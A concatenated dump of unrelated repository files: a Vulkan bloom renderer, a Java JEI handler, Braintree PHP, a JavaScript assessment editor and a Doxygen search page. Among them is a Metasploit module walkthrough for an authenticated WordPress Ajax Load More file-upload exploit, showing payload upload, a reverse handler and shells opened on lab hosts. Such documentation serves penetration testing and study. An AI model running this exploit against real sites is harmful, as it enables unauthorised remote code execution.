vkTools::initializers::pipelineColorBlendStateCreateInfo(
1,
&blendAttachmentState);
VkPipelineDepthStencilStateCreateInfo depthStencilState =
vkTools::initializers::pipelineDepthStencilStateCreateInfo(
VK_TRUE,
VK_TRUE,
VK_COMPARE_OP_LESS_OR_EQUAL);
VkPipelineViewportStateCreateInfo viewportState =
vkTools::initializers::pipelineViewportStateCreateInfo(1, 1, 0);
VkPipelineMultisampleStateCreateInfo multisampleState =
vkTools::initializers::pipelineMultisampleStateCreateInfo(
VK_SAMPLE_COUNT_1_BIT,
0);
std::vector<VkDynamicState> dynamicStateEnables = {
VK_DYNAMIC_STATE_VIEWPORT,
VK_DYNAMIC_STATE_SCISSOR
};
VkPipelineDynamicStateCreateInfo dynamicState =
vkTools::initializers::pipelineDynamicStateCreateInfo(
dynamicStateEnables.data(),
dynamicStateEnables.size(),
0);
std::array<VkPipelineShaderStageCreateInfo, 2> shaderStages;
// Vertical gauss blur
// Load shaders
shaderStages[0] = loadShader(getAssetPath() + "shaders/bloom/gaussblur.vert.spv", VK_SHADER_STAGE_VERTEX_BIT);
shaderStages[1] = loadShader(getAssetPath() + "shaders/bloom/gaussblur.frag.spv", VK_SHADER_STAGE_FRAGMENT_BIT);
VkGraphicsPipelineCreateInfo pipelineCreateInfo =
vkTools::initializers::pipelineCreateInfo(
pipelineLayout,
renderPass,
0);
pipelineCreateInfo.pVertexInputState = &vertices.inputState;
pipelineCreateInfo.pInputAssemblyState = &inputAssemblyState;
pipelineCreateInfo.pRasterizationState = &rasterizationState;
pipelineCreateInfo.pColorBlendState = &colorBlendState;
pipelineCreateInfo.pMultisampleState = &multisampleState;
pipelineCreateInfo.pViewportState = &viewportState;
pipelineCreateInfo.pDepthStencilState = &depthStencilState;
pipelineCreateInfo.pDynamicState = &dynamicState;
pipelineCreateInfo.stageCount = shaderStages.size();
pipelineCreateInfo.pStages = shaderStages.data();
// Additive blending
blendAttachmentState.colorWriteMask = 0xF;
blendAttachmentState.blendEnable = VK_TRUE;
blendAttachmentState.colorBlendOp = VK_BLEND_OP_ADD;
blendAttachmentState.srcColorBlendFactor = VK_BLEND_FACTOR_ONE;
blendAttachmentState.dstColorBlendFactor = VK_BLEND_FACTOR_ONE;
blendAttachmentState.alphaBlendOp = VK_BLEND_OP_ADD;
blendAttachmentState.srcAlphaBlendFactor = VK_BLEND_FACTOR_SRC_ALPHA;
blendAttachmentState.dstAlphaBlendFactor = VK_BLEND_FACTOR_DST_ALPHA;
pipelineCreateInfo.renderPass = offscreenPass.renderPass;
VK_CHECK_RESULT(vkCreateGraphicsPipelines(device, pipelineCache, 1, &pipelineCreateInfo, nullptr, &pipelines.blurVert));
pipelineCreateInfo.renderPass = renderPass;
VK_CHECK_RESULT(vkCreateGraphicsPipelines(device, pipelineCache, 1, &pipelineCreateInfo, nullptr, &pipelines.blurHorz));
// Phong pass (3D model)
shaderStages[0] = loadShader(getAssetPath() + "shaders/bloom/phongpass.vert.spv", VK_SHADER_STAGE_VERTEX_BIT);
shaderStages[1] = loadShader(getAssetPath() + "shaders/bloom/phongpass.frag.spv", VK_SHADER_STAGE_FRAGMENT_BIT);
blendAttachmentState.blendEnable = VK_FALSE;
depthStencilState.depthWriteEnable = VK_TRUE;
rasterizationState.cullMode = VK_CULL_MODE_BACK_BIT;
pipelineCreateInfo.renderPass = renderPass;
VK_CHECK_RESULT(vkCreateGraphicsPipelines(device, pipelineCache, 1, &pipelineCreateInfo, nullptr, &pipelines.phongPass));
// Color only pass (offscreen blur base)
shaderStages[0] = loadShader(getAssetPath() + "shaders/bloom/colorpass.vert.spv", VK_SHADER_STAGE_VERTEX_BIT);
shaderStages[1] = loadShader(getAssetPath() + "shaders/bloom/colorpass.frag.spv", VK_SHADER_STAGE_FRAGMENT_BIT);
pipelineCreateInfo.renderPass = offscreenPass.renderPass;
VK_CHECK_RESULT(vkCreateGraphicsPipelines(device, pipelineCache, 1, &pipelineCreateInfo, nullptr, &pipelines.glowPass));
// Skybox (cubemap)
shaderStages[0] = loadShader(getAssetPath() + "shaders/bloom/skybox.vert.spv", VK_SHADER_STAGE_VERTEX_BIT);
shaderStages[1] = loadShader(getAssetPath() + "shaders/bloom/skybox.frag.spv", VK_SHADER_STAGE_FRAGMENT_BIT);
depthStencilState.depthWriteEnable = VK_FALSE;
rasterizationState.cullMode = VK_CULL_MODE_FRONT_BIT;
pipelineCreateInfo.renderPass = renderPass;
VK_CHECK_RESULT(vkCreateGraphicsPipelines(device, pipelineCache, 1, &pipelineCreateInfo, nullptr, &pipelines.skyBox));
}
// Prepare and initialize uniform buffer containing shader uniforms
void prepareUniformBuffers()
{
// Phong and color pass vertex shader uniform buffer
createBuffer(
VK_BUFFER_USAGE_UNIFORM_BUFFER_BIT,
VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT,
sizeof(ubos.scene),
&ubos.scene,
&uniformData.vsScene.buffer,
&uniformData.vsScene.memory,
&uniformData.vsScene.descriptor);
// Fullscreen quad display vertex shader uniform buffer
createBuffer(
VK_BUFFER_USAGE_UNIFORM_BUFFER_BIT,
VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT,
sizeof(ubos.fullscreen),
&ubos.fullscreen,
&uniformData.vsFullScreen.buffer,
&uniformData.vsFullScreen.memory,
&uniformData.vsFullScreen.descriptor);
// Fullscreen quad fragment shader uniform buffers
// Vertical blur
createBuffer(
VK_BUFFER_USAGE_UNIFORM_BUFFER_BIT,
VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT,
sizeof(ubos.vertBlur),
&ubos.vertBlur,
&uniformData.fsVertBlur.buffer,
&uniformData.fsVertBlur.memory,
&uniformData.fsVertBlur.descriptor);
// Horizontal blur
createBuffer(
VK_BUFFER_USAGE_UNIFORM_BUFFER_BIT,
VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT,
sizeof(ubos.horzBlur),
&ubos.horzBlur,
&uniformData.fsHorzBlur.buffer,
&uniformData.fsHorzBlur.memory,
&uniformData.fsHorzBlur.descriptor);
// Skybox
createBuffer(
VK_BUFFER_USAGE_UNIFORM_BUFFER_BIT,
VK_MEMORY_PROPERTY_HOST_VISIBLE_BIT | VK_MEMORY_PROPERTY_HOST_COHERENT_BIT,
sizeof(ubos.skyBox),
&ubos.skyBox,
&uniformData.vsSkyBox.buffer,
&uniformData.vsSkyBox.memory,
&uniformData.vsSkyBox.descriptor);
// Intialize uniform buffers
updateUniformBuffersScene();
updateUniformBuffersScreen();
}
// Update uniform buffers for rendering the 3D scene
void updateUniformBuffersScene()
{
// UFO
ubos.fullscreen.projection = glm::perspective(glm::radians(45.0f), (float)width / (float)height, 0.1f, 256.0f);
glm::mat4 viewMatrix = glm::translate(glm::mat4(), glm::vec3(0.0f, -1.0f, zoom));
ubos.fullscreen.model = viewMatrix *
glm::translate(glm::mat4(), glm::vec3(sin(glm::radians(timer * 360.0f)) * 0.25f, 0.0f, cos(glm::radians(timer * 360.0f)) * 0.25f) + cameraPos);
ubos.fullscreen.model = glm::rotate(ubos.fullscreen.model, glm::radians(rotation.x), glm::vec3(1.0f, 0.0f, 0.0f));
ubos.fullscreen.model = glm::rotate(ubos.fullscreen.model, -sinf(glm::radians(timer * 360.0f)) * 0.15f, glm::vec3(1.0f, 0.0f, 0.0f));
ubos.fullscreen.model = glm::rotate(ubos.fullscreen.model, glm::radians(rotation.y), glm::vec3(0.0f, 1.0f, 0.0f));
ubos.fullscreen.model = glm::rotate(ubos.fullscreen.model, glm::radians(timer * 360.0f), glm::vec3(0.0f, 1.0f, 0.0f));
ubos.fullscreen.model = glm::rotate(ubos.fullscreen.model, glm::radians(rotation.z), glm::vec3(0.0f, 0.0f, 1.0f));
uint8_t *pData;
VK_CHECK_RESULT(vkMapMemory(device, uniformData.vsFullScreen.memory, 0, sizeof(ubos.fullscreen), 0, (void **)&pData));
memcpy(pData, &ubos.fullscreen, sizeof(ubos.fullscreen));
vkUnmapMemory(device, uniformData.vsFullScreen.memory);
// Skybox
ubos.skyBox.projection = glm::perspective(glm::radians(45.0f), (float)width / (float)height, 0.1f, 256.0f);
ubos.skyBox.model = glm::mat4();
ubos.skyBox.model = glm::rotate(ubos.skyBox.model, glm::radians(rotation.x), glm::vec3(1.0f, 0.0f, 0.0f));
ubos.skyBox.model = glm::rotate(ubos.skyBox.model, glm::radians(rotation.y), glm::vec3(0.0f, 1.0f, 0.0f));
ubos.skyBox.model = glm::rotate(ubos.skyBox.model, glm::radians(rotation.z), glm::vec3(0.0f, 0.0f, 1.0f));
VK_CHECK_RESULT(vkMapMemory(device, uniformData.vsSkyBox.memory, 0, sizeof(ubos.skyBox), 0, (void **)&pData));
memcpy(pData, &ubos.skyBox, sizeof(ubos.skyBox));
vkUnmapMemory(device, uniformData.vsSkyBox.memory);
}
// Update uniform buffers for the fullscreen quad
void updateUniformBuffersScreen()
{
// Vertex shader
ubos.scene.projection = glm::ortho(0.0f, 1.0f, 0.0f, 1.0f, -1.0f, 1.0f);
ubos.scene.model = glm::mat4();
uint8_t *pData;
VK_CHECK_RESULT(vkMapMemory(device, uniformData.vsScene.memory, 0, sizeof(ubos.scene), 0, (void **)&pData));
memcpy(pData, &ubos.scene, sizeof(ubos.scene));
vkUnmapMemory(device, uniformData.vsScene.memory);
// Fragment shader
// Vertical
ubos.vertBlur.horizontal = 0;
VK_CHECK_RESULT(vkMapMemory(device, uniformData.fsVertBlur.memory, 0, sizeof(ubos.vertBlur), 0, (void **)&pData));
memcpy(pData, &ubos.vertBlur, sizeof(ubos.vertBlur));
vkUnmapMemory(device, uniformData.fsVertBlur.memory);
// Horizontal
ubos.horzBlur.horizontal = 1;
VK_CHECK_RESULT(vkMapMemory(device, uniformData.fsHorzBlur.memory, 0, sizeof(ubos.horzBlur), 0, (void **)&pData));
memcpy(pData, &ubos.horzBlur, sizeof(ubos.horzBlur));
vkUnmapMemory(device, uniformData.fsHorzBlur.memory);
}
void draw()
{
VulkanExampleBase::prepareFrame();
// The scene render command buffer has to wait for the offscreen rendering to be finished before we can use the framebuffer
// color image for sampling during final rendering
// To ensure this we use a dedicated offscreen synchronization semaphore that will be signaled when offscreen rendering has been finished
// This is necessary as an implementation may start both command buffers at the same time, there is no guarantee
// that command buffers will be executed in the order they have been submitted by the application
// Offscreen rendering
// Wait for swap chain presentation to finish
submitInfo.pWaitSemaphores = &semaphores.presentComplete;
// Signal ready with offscreen semaphore
submitInfo.pSignalSemaphores = &offscreenPass.semaphore;
// Submit work
submitInfo.commandBufferCount = 1;
submitInfo.pCommandBuffers = &offscreenPass.commandBuffer;
VK_CHECK_RESULT(vkQueueSubmit(queue, 1, &submitInfo, VK_NULL_HANDLE));
// Scene rendering
// Wait for offscreen semaphore
submitInfo.pWaitSemaphores = &offscreenPass.semaphore;
// Signal ready with render complete semaphpre
submitInfo.pSignalSemaphores = &semaphores.renderComplete;
// Submit work
submitInfo.pCommandBuffers = &drawCmdBuffers[currentBuffer];
VK_CHECK_RESULT(vkQueueSubmit(queue, 1, &submitInfo, VK_NULL_HANDLE));
VulkanExampleBase::submitFrame();
}
void prepare()
{
VulkanExampleBase::prepare();
loadAssets();
generateQuad();
setupVertexDescriptions();
prepareUniformBuffers();
prepareOffscreen();
setupDescriptorSetLayout();
preparePipelines();
setupDescriptorPool();
setupDescriptorSet();
buildCommandBuffers();
prepared = true;
}
virtual void render()
{
if (!prepared)
return;
draw();
if (!paused)
{
updateUniformBuffersScene();
}
}
virtual void viewChanged()
{
updateUniformBuffersScene();
updateUniformBuffersScreen();
}
virtual void keyPressed(uint32_t keyCode)
{
switch (keyCode)
{
case KEY_KPADD:
case GAMEPAD_BUTTON_R1:
changeBlurScale(0.25f);
break;
case KEY_KPSUB:
case GAMEPAD_BUTTON_L1:
changeBlurScale(-0.25f);
break;
case KEY_B:
case GAMEPAD_BUTTON_A:
toggleBloom();
break;
}
}
virtual void getOverlayText(VulkanTextOverlay *textOverlay)
{
#if defined(__ANDROID__)
textOverlay->addText("Press \"L1/R1\" to change blur scale", 5.0f, 85.0f, VulkanTextOverlay::alignLeft);
textOverlay->addText("Press \"Button A\" to toggle bloom", 5.0f, 105.0f, VulkanTextOverlay::alignLeft);
#else
textOverlay->addText("Press \"NUMPAD +/-\" to change blur scale", 5.0f, 85.0f, VulkanTextOverlay::alignLeft);
textOverlay->addText("Press \"B\" to toggle bloom", 5.0f, 105.0f, VulkanTextOverlay::alignLeft);
#endif
}
void changeBlurScale(float delta)
{
ubos.vertBlur.blurScale += delta;
ubos.horzBlur.blurScale += delta;
updateUniformBuffersScreen();
}
void toggleBloom()
{
bloom = !bloom;
reBuildCommandBuffers();
}
};
VULKAN_EXAMPLE_MAIN()
| martty/Vulkan | bloom/bloom.cpp | C++ | mit | 42,639 |
package mcjty.deepresonance.jei.smelter;
import mezz.jei.api.recipe.IRecipeWrapper;
import javax.annotation.Nonnull;
public class SmelterRecipeHandler implements mezz.jei.api.recipe.IRecipeHandler<SmelterRecipeWrapper> {
private final String id;
public SmelterRecipeHandler() {
this.id = SmelterRecipeCategory.ID;
}
@Nonnull
@Override
public Class<SmelterRecipeWrapper> getRecipeClass() {
return SmelterRecipeWrapper.class;
}
@Nonnull
@Override
public IRecipeWrapper getRecipeWrapper(@Nonnull SmelterRecipeWrapper recipe) {
return recipe;
}
@Override
public String getRecipeCategoryUid(SmelterRecipeWrapper recipe) {
return id;
}
@Override
public boolean isRecipeValid(SmelterRecipeWrapper recipe) {
return true;
}
}
| McJty/DeepResonance | src/main/java/mcjty/deepresonance/jei/smelter/SmelterRecipeHandler.java | Java | mit | 834 |
#### Add WordPress Plugin Ajax Load More Auth File Upload Vulnerability
Application: WordPress Plugin 'Ajax Load More' 2.8.1.1
Homepage: https://wordpress.org/plugins/ajax-load-more/
Source Code: https://downloads.wordpress.org/plugin/ajax-load-more.2.8.0.zip
Active Installs (wordpress.org): 10,000+
References: https://wpvulndb.com/vulnerabilities/8209
#### Vulnerable packages*
2.8.1.1
#### Usage:
##### Linux (Ubuntu 12.04.5 LTS):
```
msfdevel 192.168.0.7 shell[s]:0 job[s]:0 msf> use exploit/unix/webapp/wp_ajax_load_more_file_upload
msfdevel 192.168.0.7 shell[s]:0 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload) info
Name: Wordpress Ajax Load More PHP Upload Vulnerability
Module: exploit/unix/webapp/wp_ajax_load_more_file_upload
Platform: PHP
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2015-10-10
Provided by:
Unknown
Roberto Soares Espreto <[email protected]>
Available targets:
Id Name
-- ----
0 Ajax Load More 2.8.1.1
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port
TARGETURI / yes The base path to the wordpress application
VHOST no HTTP server virtual host
WP_PASSWORD yes Valid password for the provided username
WP_USERNAME yes A valid username
Payload information:
Description:
This module exploits an arbitrary file upload in the WordPress Ajax
Load More version 2.8.1.1. It allows to upload arbitrary php files
and get remote code execution. This module has been tested
successfully on WordPress Ajax Load More 2.8.0 with Wordpress 4.1.3
on Ubuntu 12.04/14.04 Server.
References:
https://wpvulndb.com/vulnerabilities/8209
msfdevel 192.168.0.7 shell[s]:0 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload) show options
Module options (exploit/unix/webapp/wp_ajax_load_more_file_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port
TARGETURI / yes The base path to the wordpress application
VHOST no HTTP server virtual host
WP_PASSWORD yes Valid password for the provided username
WP_USERNAME yes A valid username
Exploit target:
Id Name
-- ----
0 Ajax Load More 2.8.1.1
msfdevel 192.168.0.7 shell[s]:0 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload) set RHOST 192.168.0.14
RHOST => 192.168.0.14
msfdevel 192.168.0.7 shell[s]:0 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload) set WP_USERNAME espreto
WP_USERNAME => espreto
msfdevel 192.168.0.7 shell[s]:0 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload) set WP_PASSWORD P@ssW0rd
WP_PASSWORD => P@ssW0rd
msfdevel 192.168.0.7 shell[s]:0 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload) check
[*] 192.168.0.14:80 - The target appears to be vulnerable.
msfdevel 192.168.0.7 shell[s]:0 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload) exploit
[*] Started reverse handler on 192.168.0.7:4444
[*] 192.168.0.14:80 - Uploading payload
[*] 192.168.0.14:80 - Calling uploaded file
[*] Sending stage (33068 bytes) to 192.168.0.14
[*] Meterpreter session 1 opened (192.168.0.7:4444 -> 192.168.0.14:42868) at 2015-10-17 13:21:05 -0300
[+] Deleted default.php
meterpreter > sysinfo
Computer : msfdevel
OS : Linux msfdevel 3.13.0-62-generic #102~precise1-Ubuntu SMP Wed Aug 12 14:11:43 UTC 2015 i686
Meterpreter : php/php
meterpreter > shell
Process 12445 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^Z
Background channel 0? [y/N] y
meterpreter > background
[*] Backgrounding session 1...
msfdevel 192.168.0.7 shell[s]:1 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload) set VERBOSE true
VERBOSE => true
msfdevel 192.168.0.7 shell[s]:1 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload) exploit
[*] Started reverse handler on 192.168.0.7:4444
[*] 192.168.0.14:80 - Trying to login as espreto
[*] 192.168.0.14:80 - Trying to get nonce
[*] 192.168.0.14:80 - Trying to upload payload
[*] 192.168.0.14:80 - Uploading payload
[*] 192.168.0.14:80 - Calling uploaded file
[*] Sending stage (33068 bytes) to 192.168.0.14
[*] Meterpreter session 2 opened (192.168.0.7:4444 -> 192.168.0.14:42935) at 2015-10-17 13:24:03 -0300
[+] Deleted default.php
meterpreter > background
[*] Backgrounding session 2...
msfdevel 192.168.0.7 shell[s]:2 job[s]:0 msf> exploit(wp_ajax_load_more_file_upload)
```
| espreto/wpsploit | documentation/exploits/wp_ajax_load_more_file_upload.md | Markdown | mit | 5,129 |
<?php
class Braintree_CreditCardVerification extends Braintree_Result_CreditCardVerification
{
public static function factory($attributes)
{
$instance = new self($attributes);
return $instance;
}
// static methods redirecting to gateway
public static function fetch($query, $ids)
{
return Braintree_Configuration::gateway()->creditCardVerification()->fetch($query, $ids);
}
public static function search($query)
{
return Braintree_Configuration::gateway()->creditCardVerification()->search($query);
}
}
| vuonghuynhthanhtu/administrator.lacasa.com | application/libraries/braintree-php-2.38.0/lib/Braintree/CreditCardVerification.php | PHP | mit | 601 |
var g_batchAssessmentEditor = null;
var g_tabAssessments = null;
var g_updatingAttendance = false;
var g_onRefresh = null;
var g_lockedCount = 0;
var g_btnSubmit = null;
var g_sectionAssessmentEditors = null;
var g_sectionAssessmentButtons = null;
function createAssessment(content, to) {
var assessmentJson = {};
assessmentJson["content"] = content;
assessmentJson["to"] = to;
return new Assessment(assessmentJson);
}
function SingleAssessmentEditor(){
this.participantId = 0;
this.name = "";
this.content = "";
this.lock = null;
}
function BatchAssessmentEditor(){
this.switchAttendance = null;
this.selectAll = null;
this.editors = null;
}
function generateAssessmentEditor(par, participant, activity, batchEditor){
var singleEditor = new SingleAssessmentEditor();
var row = $('<div>', {
"class": "assessment-input-row"
}).appendTo(par);
var avatar = $("<img>", {
src: participant.avatar,
"class": "assessment-avatar"
}).click(function(evt) {
evt.preventDefault();
window.location.hash = ("profile?" + g_keyVieweeId + "=" + participant.id.toString());
}).appendTo(row);
var name = $('<a>', {
href: "#",
text: participant.name
}).appendTo(row);
name.click(function(evt) {
evt.preventDefault();
window.location.hash = ("profile?" + g_keyVieweeId + "=" + participant.id.toString());
});
singleEditor.participantId = participant.id;
singleEditor.name = participant.name;
if ( activity.containsRelation() && ((activity.relation & assessed) == 0) ) generateUnassessedView(row, singleEditor, batchEditor);
else generateAssessedView(row, participant, activity);
if(g_loggedInUser != null && g_loggedInUser.id == participant.id) row.hide();
return singleEditor;
}
function generateAssessmentEditors(par, activity, batchEditor) {
par.empty();
var participants = activity.selectedParticipants;
var editors = new Array();
for(var i = 0; i < participants.length; i++){
var editor = generateAssessmentEditor(par, participants[i], activity, batchEditor);
editors.push(editor);
}
return editors;
}
function generateAssessmentButtons(par, activity, batchEditor){
par.empty();
if(batchEditor.editors == null || batchEditor.editors.length <= 1) return;
var row = $('<div>', {
"class": "assessment-button"
}).appendTo(par);
var btnCheckAll = $("<button>", {
text: TITLES["check_all"],
"class": "gray assessment-button"
}).appendTo(row);
btnCheckAll.click(batchEditor, function(evt){
evt.preventDefault();
for(var i = 0; i < evt.data.editors.length; i++) {
var editor = evt.data.editors[i];
editor.lock.prop("checked", true).change();
}
});
var btnUncheckAll = $("<button>", {
text: TITLES["uncheck_all"],
"class": "gray assessment-button"
}).appendTo(row);
btnUncheckAll.click(batchEditor, function(evt){
evt.preventDefault();
for(var i = 0; i < evt.data.editors.length; i++) {
var editor = evt.data.editors[i];
editor.lock.prop("checked", false).change();
}
});
g_btnSubmit = $("<button>", {
text: TITLES["submit"],
"class": "assessment-button positive-button"
}).appendTo(row);
g_btnSubmit.click({editor: batchEditor, activity: activity}, function(evt){
evt.preventDefault();
if (g_loggedInUser == null) return;
var aBatchEditor = evt.data.editor;
var aActivity = evt.data.activity;
var assessments = new Array();
for(var i = 0; i < aBatchEditor.editors.length; i++) {
var editor = aBatchEditor.editors[i];
var content = editor.content;
var to = editor.participantId;
if(to == g_loggedInUser.id) continue;
var assessment = createAssessment(content, to);
assessments.push(assessment);
}
if (assessments.length == 0) return;
var params = {};
var token = $.cookie(g_keyToken);
params[g_keyToken] = token;
params[g_keyActivityId] = aActivity.id;
params[g_keyBundle] = JSON.stringify(assessments);
var aButton = $(this);
disableField(aButton);
$.ajax({
type: "POST",
url: "/assessment/submit",
data: params,
success: function(data, status, xhr){
enableField(aButton);
if (isTokenExpired(data)) {
logout(null);
return;
}
alert(ALERTS["assessment_submitted"]);
aActivity.relation |= assessed;
refreshBatchEditor(aActivity);
},
error: function(xhr, status, err){
enableField(aButton);
alert(ALERTS["assessment_not_submitted"]);
}
});
}).appendTo(row);
disableField(g_btnSubmit);
}
function generateBatchAssessmentEditor(par, activity, onRefresh){
par.empty();
if(g_onRefresh == null) g_onRefresh = onRefresh;
g_lockedCount = 0; // clear lock count on batch editor generated
g_batchAssessmentEditor = new BatchAssessmentEditor();
if(activity == null) return g_batchAssessmentEditor;
var editors = [];
var sectionAll = $('<div>', {
"class": "assessment-container"
}).appendTo(par);
var initVal = false;
var disabled = false;
// Determine attendance switch initial state based on viewer-activity-relation
if (g_loggedInUser != null && activity.host.id == g_loggedInUser.id) {
// host cannot choose presence
initVal = true;
disabled = true;
} else if((activity.relation & present) > 0) {
// present participants
initVal = true;
} else if((activity.relation & selected) > 0 || (activity.relation & absent) > 0) {
// selected but not present
initVal = false;
} else {
disabled = true;
}
var attendanceSwitch = createBinarySwitch(sectionAll, disabled, initVal, TITLES["assessment_disabled"], TITLES["present"], TITLES["absent"], "switch-attendance");
g_sectionAssessmentEditors = $('<div>', {
style: "margin-top: 5pt"
}).appendTo(sectionAll);
g_sectionAssessmentButtons = $('<div>', {
style: "margin-top: 5pt"
}).appendTo(sectionAll);
if( g_loggedInUser != null && ( ((activity.relation & present) > 0) || (activity.containsRelation() == false) ) ) {
/*
* show list for logged-in users
*/
refreshBatchEditor(activity);
}
var onSuccess = function(data){
g_updatingAttendance = false;
// update activity.relation by returned value
var relationJson = data;
activity.relation = parseInt(relationJson[g_keyRelation]);
g_sectionAssessmentEditors.empty();
g_sectionAssessmentButtons.empty();
var value = getBinarySwitchState(attendanceSwitch);
if(!value) return;
// assessed participants cannot edit or re-submit assessments
refreshBatchEditor(activity);
};
var onError = function(err){
g_updatingAttendance = false;
// reset switch status if updating attendance fails
var value = getBinarySwitchState(attendanceSwitch);
var resetVal = !value;
setBinarySwitch(attendanceSwitch, resetVal);
};
var onClick = function(evt){
evt.preventDefault();
if(activity.relation == invalid) return;
if(!activity.hasBegun()) {
alert(ALERTS["activity_not_begun"]);
return;
}
var value = getBinarySwitchState(attendanceSwitch);
var newVal = !value;
setBinarySwitch(attendanceSwitch, newVal);
attendance = activity.relation;
if(newVal) attendance = present;
else attendance = absent;
updateAttendance(activity.id, attendance, onSuccess, onError);
};
setBinarySwitchOnClick(attendanceSwitch, onClick);
return g_batchAssessmentEditor;
}
function updateAttendance(activityId, attendance, onSuccess, onError){
// prototypes: onSuccess(data), onError(err)
if(g_updatingAttendance) return;
var token = $.cookie(g_keyToken);
if(token == null) return;
var params={};
params[g_keyRelation] = attendance;
params[g_keyToken] = token;
params[g_keyActivityId] = activityId;
g_updatingAttendance = true;
$.ajax({
type: "PUT",
url: "/activity/mark",
data: params,
success: function(data, status, xhr) {
if (isTokenExpired(data)) {
logout(null);
return;
}
onSuccess(data);
},
error: function(xhr, status, err) {
onError(err);
}
});
}
function generateAssessedView(row, participant, activity) {
var btnView = $('<span>', {
text: TITLES["view_assessment"],
style: "display: inline; color: blue; margin-left: 5pt; cursor: pointer"
}).appendTo(row);
btnView.click(function(evt){
evt.preventDefault();
queryAssessmentsAndRefresh(participant.id, activity.id);
});
}
function generateUnassessedView(row, singleEditor, batchEditor) {
var lock = $('<input>', {
type: "checkbox",
"class": "left"
}).appendTo(row);
var contentInput = $('<input>', {
type: 'text'
}).appendTo(row);
contentInput.on("input paste keyup", singleEditor, function(evt){
evt.data.content = $(this).val();
});
lock.change({input: contentInput, editor: batchEditor}, function(evt){
var aInput = evt.data.input;
var aBatchEditor = evt.data.editor;
evt.preventDefault();
var checked = isChecked($(this));
if(!checked) {
enableField(aInput);
--g_lockedCount;
if(g_btnSubmit != null) disableField(g_btnSubmit);
} else {
disableField(aInput);
++g_lockedCount;
if(g_lockedCount >= (aBatchEditor.editors.length - 1) && g_btnSubmit != null) enableField(g_btnSubmit);
}
});
singleEditor.lock = lock;
}
function refreshBatchEditor(activity) {
if (!activity.hasBegun()) return;
if(g_batchAssessmentEditor == null || g_sectionAssessmentEditors == null || g_sectionAssessmentButtons == null) return;
var editors = generateAssessmentEditors(g_sectionAssessmentEditors, activity, g_batchAssessmentEditor);
g_batchAssessmentEditor.editors = editors;
g_sectionAssessmentButtons.empty();
if(!activity.containsRelation() || (activity.containsRelation() && (activity.relation & assessed) > 0) || g_batchAssessmentEditor.editors.length <= 1) return;
generateAssessmentButtons(g_sectionAssessmentButtons, activity, g_batchAssessmentEditor);
}
| duanp0128/PlayHongKongResort | public/javascripts/assessment/editor.js | JavaScript | mit | 9,652 |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html><head><title></title>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<link rel="stylesheet" type="text/css" href="search.css"/>
<script type="text/javascript" src="search.js"></script>
</head>
<body class="SRPage">
<div id="SRIndex">
<div class="SRStatus" id="Loading">Loading...</div>
<div class="SRResult" id="SR_sa_5falarm">
<div class="SREntry">
<a id="Item0" onkeydown="return searchResults.Nav(event,0)" onkeypress="return searchResults.Nav(event,0)" onkeyup="return searchResults.Nav(event,0)" class="SRSymbol" href="../radiotftp_8c.html#a5edba51aeb9384f25d7dc659db848817" target="basefrm">sa_alarm</a>
<span class="SRScope">radiotftp.c</span>
</div>
</div>
<div class="SRResult" id="SR_sa_5fio">
<div class="SREntry">
<a id="Item1" onkeydown="return searchResults.Nav(event,1)" onkeypress="return searchResults.Nav(event,1)" onkeyup="return searchResults.Nav(event,1)" class="SRSymbol" href="../radiotftp_8c.html#abbbcf4205db563bd9d8e3637acc82c38" target="basefrm">sa_io</a>
<span class="SRScope">radiotftp.c</span>
</div>
</div>
<div class="SRResult" id="SR_serialportfd">
<div class="SREntry">
<a id="Item2" onkeydown="return searchResults.Nav(event,2)" onkeypress="return searchResults.Nav(event,2)" onkeyup="return searchResults.Nav(event,2)" class="SRSymbol" href="../radiotftp_8c.html#ad5d8ff630186cb56cbc4b9cb931a5002" target="basefrm">serialportFd</a>
<span class="SRScope">radiotftp.c</span>
</div>
</div>
<div class="SRResult" id="SR_signalcount">
<div class="SREntry">
<a id="Item3" onkeydown="return searchResults.Nav(event,3)" onkeypress="return searchResults.Nav(event,3)" onkeyup="return searchResults.Nav(event,3)" class="SRSymbol" href="../radiotftp_8c.html#a990cc2e56a8f075b041b75a912823e94" target="basefrm">signalCount</a>
<span class="SRScope">radiotftp.c</span>
</div>
</div>
<div class="SRResult" id="SR_src">
<div class="SREntry">
<a id="Item4" onkeydown="return searchResults.Nav(event,4)" onkeypress="return searchResults.Nav(event,4)" onkeyup="return searchResults.Nav(event,4)" class="SRSymbol" href="../structmessage__t.html#ac8f22051bbe97a235c19698e9705c362" target="basefrm">src</a>
<span class="SRScope">message_t</span>
</div>
</div>
<div class="SRResult" id="SR_src_5fport">
<div class="SREntry">
<a id="Item5" onkeydown="return searchResults.Nav(event,5)" onkeypress="return searchResults.Nav(event,5)" onkeyup="return searchResults.Nav(event,5)" class="SRSymbol" href="../structmessage__t.html#ae11b6a0645157c8c75790f7c541fcaed" target="basefrm">src_port</a>
<span class="SRScope">message_t</span>
</div>
</div>
<div class="SRResult" id="SR_syncword">
<div class="SREntry">
